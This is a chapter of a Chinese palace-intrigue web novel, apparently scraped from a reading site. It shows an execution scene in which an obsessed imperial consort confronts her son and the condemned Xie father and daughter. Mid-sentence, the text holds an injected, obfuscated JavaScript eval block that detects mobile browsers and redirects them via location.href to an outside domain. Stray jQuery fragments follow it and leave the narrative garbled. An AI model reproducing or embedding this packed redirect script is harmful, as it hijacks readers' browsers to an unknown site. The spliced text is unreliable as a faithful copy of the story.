122. 还有高手?

作品:《全京城都觉得我爹是话本原型

    谢有知一声不吭,反而刺激到皇贵妃。


    周遭围着的士兵和宫人颇感为难,一些宫人拦住皇贵妃要冲上处刑台的步伐。


    另一些士兵则是劝阻道:“皇贵妃娘娘,请不要让我们难做。”


    皇贵妃一听,更怒了,忽然从挡在她面前的士兵腰间,一把抽出他的刀,用力一砍。


    竟活生生将那名士兵的头颅砍了下来,飞溅的鲜血淋在皇贵妃的侧脸,精心缝制的刺绣花纹沾上异样的色彩,原本腾飞的鸣鸟如同被折去双翼,血腥腐烂。


    众人被皇贵妃意料之外的举动吓到,其余士兵的防备心更重,神情严肃地警惕着她下一步动作,担心他们一不小心冒犯了皇贵妃,人头落地的就不是在处刑台的谢氏父女,而是他们。


    皇贵妃带来的手下露出同样的表情,戒备着看守刑场的士兵。


    一触即发的紧张氛围之下,皇贵妃轻轻撩过凌散滑落前额的发丝,牵动衣袖抹过侧脸,将那上面的血迹擦得更模糊,远远瞧见,还以为是地狱爬来的嗜血恶鬼。


    她提着刀,紧盯着跪地的谢有知,一步步靠近处刑台,其他人大气不敢出,小心翼翼包围住她。


    谢温看到贺灵这副样子,默默扭头,打量身边的谢有知,“你是不是给她下蛊了,为什么她那么痴迷你?”


    谢有知语塞,“……莫要乱说。”


    皇贵妃嘟囔着:“有知有知……我爱你啊。”一边站在谢温两人面前。


    她弯下腰,勾勒出她姣好的身形腰线,她似乎想要用最好的样子来面对谢有知。全然忘记身上染血的她,给人多恐怖的冲击力。


    贺灵睫毛轻颤,垂眸望着谢有知。


    “有知,你不开口求我,没有关系。就如同我以前像你靠近一样,这次依然由我来。”


    谢有知感觉到谢温充满异样的眼神,叹了一声,“皇贵妃娘娘,您这是何必呢?我谢某人充其量只是个普通人,承受不起您这番情谊。”


    “你说谎!”贺灵突然声调拔高,尖锐刺耳的声音吓了谢温一跳。


    “你明明心里有我的!如果不是李婉儿那个贱人横插一脚,我与你早就双宿双栖了!”


    谢温:“……”啊这。


    谢有知听到皇贵妃辱骂他妻,颇感愤怒,“我谢某人这一生,心头从来只有李家女,婉儿是我这辈子的挚爱,一直都是!”


    “你胡说!你的女儿总是喜欢说谎,连你也是!”皇贵妃的蔻丹戳向谢温,磨得尖尖的指甲划过谢温的脸,留下一道浅浅的血丝。


    谢温:“……老实说,你为什么认为这个老货心里有你?”


    谢有知听到谢温光明正大地骂他,也不恼,平静地等待着皇贵妃的答案。


    像被谈中女儿家的心事儿,贺灵收敛张扬的气息,陷入回忆的甜蜜。


    “那年,有知在长安大街御街游行,那时的他风光无两,惊艳众人。我也被他深深吸引,忘记了周遭看游街的人有很多……”


    贺灵察觉不到四周的人群拥挤,一不小心被人流冲散了她与婢女,跌落在大街中央。


    游行的马匹受了惊,马蹄高高抬起要践踏在贺灵身上之际,是谢有知控制住失控的马,将人从马蹄之下救走。


    少年的俊美面容以及彬彬有礼的态度,一下子就击中了闺阁姑娘扑通乱跳的芳心,从此那颗心便拽在了谢有知身上,至死不渝。


    谢温听完过程,略感俗套,吊桥效应外加长得好看就把一名女子的心夺走了,看皇贵妃的双眼不由掺了点无语。


    随即看向一脸思索的谢有知,“你瞧瞧你乱造的孽。”


    谢有知越发神情古怪,听到谢温的指责,高呼冤枉,“我没有救过她!!!”


    贺灵眉头紧锁,“有知,事到如今,你还想否认吗?”


    谢有知像猫被踩了尾巴似的,差点蹦起来,“天地良心,我是真没救过你!”


    谢温一脸狐疑。


    据谢有知所言,他年少游街时确实遇到一名姑娘要葬身马蹄之下。


    可下一刻,一身男儿装的姑娘突然冒出,是长腿一迈,翻身上马,强行硬控住那受惊的马。


    而那位身着男装的姑娘正是谢温的母亲李婉儿。


    李婉儿从小就跟在定远侯身边,出入军营,实际骑马技术一流。当初她瞧见失控的马匹,快狠准地扯住缰绳逼停马匹,才没有造成长安大街的百姓受伤。


    谢有知是慢了一步,虽然他也参与了抢救,但他救的是李婉儿抛出来的糕点。因为那是李婉儿为了救人,又担忧糕点会碎,于是抛给一个过路人,让他好好保管。


    过路人·谢有知是捧着那袋糕点发愣,眼睁睁瞧着李婉儿英姿飒爽御马的样子,那日日头不猛,却像被日光晃了双眼。


    等李婉儿控制好马匹,他才屁颠屁颠地递上还散发着热意的糕点,以及他那颗少男心。


    谢温听着这前后有极大出入的故事:“………………”


    “不!不是的!你一定是忘记了!没关系,我会让你想起来的!”贺灵像是难以接受的模样,大刀轻轻发颤,发出细微的刀鸣。


    谢温:“我觉得你得下辈子再努力。”


    贺灵倏地抬头,她以为谢温是在嘲讽她,可谢温的视线并没有看向她,而是她的背后。


    贺灵立刻转身,便瞧见她的好大儿,齐泽仪带着一行人,冷冷地坐在宫人准备好的小营帐里。


    宫人甚至很贴心地烧了小火炉,因为天气渐冷,尽管谢温等人身处在被誉为皇宫之中阳气最盛的地方,微风吹过也是稍感入骨的寒凉。


    齐泽仪瞧见皇贵妃终于注意到他,挂起浅笑,说道:“母妃可是与旧人说完话?那便要处刑了。”


    皇贵妃是百般不愿,“谢温可以,有知不行。”


    谢温:“……”此刻开始,她的母语是无语。


    齐泽仪双眼如同看着爱人般柔和,可薄唇却吐露着冰冷,“谢温不行,有知更不行。”


    言毕,方才就互相对峙的士兵,是纷纷拔刀,指向各自的敌人,严阵以待。


    齐泽仪在这种情形下,还劝阻着皇贵妃:“我的母妃,您也该是时候清醒了,事到如今您还没发觉自己中了父皇的烂招?”


    刀阵之中,皇贵妃面不改色,“什么意思?”


    齐泽仪随着他轻晃的折扇,摇了摇头,“您对谢有知的爱,真的是发自内心,毫不作假?”


    谢温意有所感,认真看着贺灵的背影,陷入沉思。


    皇贵妃却不懂齐泽仪的意思,只差对天发誓,她对谢有知的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514516|176679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爱是矢志不渝,即便天下覆灭,她也不离不弃。


    谢有知:“……”


    一看皇贵妃是中毒很深,病入膏肓那种,齐泽仪懒得浪费唇舌去唤醒一个不愿清醒的人。


    他折扇一收,抬了抬手。


    站在下方听候差遣的刽子手便上前,拿烈酒淋在他背上取下的大砍刀,烈酒流淌过冰凉的刀身,洒在干干的泥沙之中,凝结成小块小块固状。


    “我看谁敢!”皇贵妃一声暴呵,立刻有人阻挡住刽子手的去向。


    谢温跪的是腿脚发麻,看这种对峙的场面一时半会没办法处理好,悄悄地换了个姿势,缓解发麻的双腿。


    瞅了瞅面色阴沉的齐泽仪,她对谢有知感慨道:“我写了那么多话本,卖了你那么多次,最值钱的就是这回。”


    哪成想有个傻缺真的信了话本的事,还臆想成这副模样,甚至为了谢有知冲冠一怒。


    事已至此,谢有知都不知道该作何反应。与谢温坐上观壁,看齐泽仪与皇贵妃两人狗咬狗。


    是一点都没有马上要被人砍头的紧张感。


    然而齐泽仪并没有僵持太久,他眼神一凝,直接下令,“看来我的母妃是病入膏肓,不久于人世,我这个做儿子的以免母妃继续受苦受难,只好送母妃一程了。”


    齐泽仪的手下们得到了齐泽仪的首肯,不再留手,直接挥刀砍去,本来齐泽仪带的人就比皇贵妃多,实力和人数完全碾压,顿时刑场血流成河,尸横遍野。


    皇贵妃有些不可置信,“为什么,这些分明是我派去给你的人,为什么会……”反过来与她为敌。


    冲在最前头的赫然就是铁头,一改在谢温面前憨头憨脑的印象,煞气蔓延周身,血腥味源源不断从他身上散发。


    齐泽仪垂眸,抚摸着手中的扇柄,“母妃,您确定这些人一开始,就是您的人吗?”


    皇贵妃懵住了,谢温同样也懵住了。


    不是吧,还有高手?


    谢温偷偷挪到谢有知身边,小声问道:“这是怎么一回事啊?”


    她看不懂,想着这个在官场沉浸许久的,或许能指点一二。


    谢有知是高深莫测道:“再看看。”


    皇贵妃浑身发抖,她的人随着围剿而不断减少,一个个躺倒,围成一堵人墙,包裹着皇贵妃。


    “叛徒!全都是叛徒!他们从一开始就是你的人!我这些年倒是养了一条不会叫的狗!”


    齐泽仪笑了笑,并不打算解释,瞧着他的手下已经全部把皇贵妃的羽翼绞剪,刽子手总算来到谢温的跟前。


    皇贵妃看着那个刽子手路过谢温,先站在了谢有知的背后,双眼瞪大,欲想上前,却被其他士兵扣押住。


    皇贵妃的双手抓紧了士兵的手臂,蔻丹狠狠扎进了肉里,那士兵是纹丝不动,好像没有痛觉一般。


    谢有知与谢温对视,淡然道:“希望下辈子,你娘不要再跟着我吃苦了。”


    谢温冷淡回答:“确实,若还有下辈子,你离我娘远一点。她能嫁个富贵散人,天天大鱼大肉,而不是三餐萝卜。”


    冷言冷语却让谢有知嘴角上扬,带着淡淡的笑容,阖上了双眼。因此不知道谢温一直睁大着眼睛,看着刽子手手起刀落。


    “噗嗤——”